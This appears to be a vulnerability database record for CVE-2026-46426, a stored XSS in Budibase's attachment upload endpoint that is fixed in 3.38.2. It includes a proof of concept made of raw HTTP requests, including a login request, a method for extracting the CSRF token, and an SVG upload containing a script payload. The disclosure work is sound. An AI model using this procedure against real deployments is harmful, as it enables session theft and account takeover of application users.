{"id":"CVE-2026-46426","aliases":["GHSA-82rc-gxrg-v4gf"],"url":"https://o3.security/vulnerability/CVE-2026-46426","summary":"Budibase: Unrestricted Upload of File with Dangerous Type","details":"### Summary\nThe file upload endpoint `POST /api/attachments/process` does not enforce active-content restrictions for authenticated users. The checks for dangerous file extensions (`html`, `svg`, `js`, `php`, etc.) are conditionally wrapped inside `if (isPublicUser)` or `if (isPublicUser || !env.SELF_HOSTED)`, meaning any authenticated builder can upload executable web content — SVG files with inline `<script>` tags, HTML pages with JavaScript, `.js` modules — which are then stored in the object store (MinIO/S3) with their correct MIME types (`image/svg+xml`, `text/html`, `application/javascript`). When the resulting signed URL is opened by any app user, the browser executes the payload.\n\nImpact is **persistent stored XSS** over all application end users.\n\n### Details\nThe vulnerability exists in a single handler function uploadFile shared by two routes, located in packages/server/src/api/controllers/static/index.ts (lines 93–179).\n\nRoute definitions (packages/server/src/api/routes/static.ts):\n\nPOST /api/attachments/process              → authorized(BUILDER)\nPOST /api/attachments/:tableId/upload      → authorized(PermissionType.TABLE, PermissionLevel.WRITE)\nBoth routes invoke the same uploadFile function. The second endpoint is accessible to any authenticated app user (BASIC or POWER role) who has been granted WRITE on any table — not just builders.\n\n### PoC\n\n### Prerequisites\n\n- Budibase self-hosted Docker deployment, any version ≤ 3.30.6\n- An account with Builder role (does **not** require admin)\n- Target app published and accessible to end users\n\n### Step 1 — Authenticate as builder\n\n```http\nPOST /api/global/auth/default/login HTTP/1.1\nHost: target:10000\nContent-Type: application/json\n\n{\"username\":\"builder@company.com\",\"password\":\"BuilderPass1!\"}\n```\n\n```\nHTTP/1.1 200 OK\nSet-Cookie: budibase:auth=<jwt>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT\nSet-Cookie: budibase:auth.sig=<sig>; path=/; expires=Tue, 19 Jan 2038 03:14:07 GMT\n\n{\"message\":\"Login successful\"}\n```\n\nThe CSRF token is bound to the session. Browsers send it automatically via the Budibase\nfrontend JS. For scripted requests, decode the JWT payload (base64url second segment) to\nextract `sessionId`, then read the Redis key `session-<userId>/<sessionId>` → `csrfToken`.\n\n### Step 2 — Upload SVG with XSS payload\n\n```http\nPOST /api/attachments/process HTTP/1.1\nHost: target:10000\nCookie: budibase:auth=<jwt>; budibase:auth.sig=<sig>\nx-budibase-app-id: <dev_app_id>\nx-csrf-token: <csrf_token>\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryXXXXXXXXXXXXXXXX\nContent-Length: 391\n\n------WebKitFormBoundaryXXXXXXXXXXXXXXXX\nContent-Disposition: form-data; name=\"file\"; filename=\"xss.svg\"\nContent-Type: image/svg+xml\n\n<svg xmlns=\"http://www.w3.org/2000/svg\"><script>alert(document.domain)</script></svg>\n------WebKitFormBoundaryXXXXXXXXXXXXXXXX--\n```\n\n```json\nHTTP/1.1 200 OK\n\n[{\"size\":207,\"name\":\"xss.svg\",\"url\":\"http://target:10000/files/signed/.../<uuid>.svg?X-Amz-...\",\"extension\":\"svg\",\"key\":\"workspace_id/attachments/<uuid>.svg\"}]\n```\n### Impact\n* App end users - Stored XSS on any screen containing the attachment URL. Session cookie theft → full account takeover. |\n* Builder accounts - If malicious URL is shared within the workspace (table attachment, embedded image), XSS fires in builder's session → workspace takeover. \n\n\n<img width=\"3087\" height=\"1489\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b0ee0263-85de-430e-9575-88ec91eae565\" />\n\n\n<img width=\"2100\" height=\"1016\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5133bb1e-f637-479e-952f-14b3265129b4\" />\n\n\n\n\n\n\n\n--------\nDiscovered By:\nAbdulrahman Albatel\nAbdullah Alrasheed","published":"2026-05-27T17:04:42.080Z","modified":"2026-08-12T03:51:23.624142180Z","cvss":{"score":7.6,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N"},"epss":{"score":0.00175,"percentile":0.07273,"asOf":"2026-08-16"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"budibase","fixedVersion":"3.38.2"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/Budibase/budibase/releases/tag/3.38.2"},{"type":"ADVISORY","url":"https://github.com/Budibase/budibase/security/advisories/GHSA-82rc-gxrg-v4gf"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/46xxx/CVE-2026-46426.json"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46426"},{"type":"PACKAGE","url":"https://github.com/Budibase/budibase"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:23.624142180Z"}}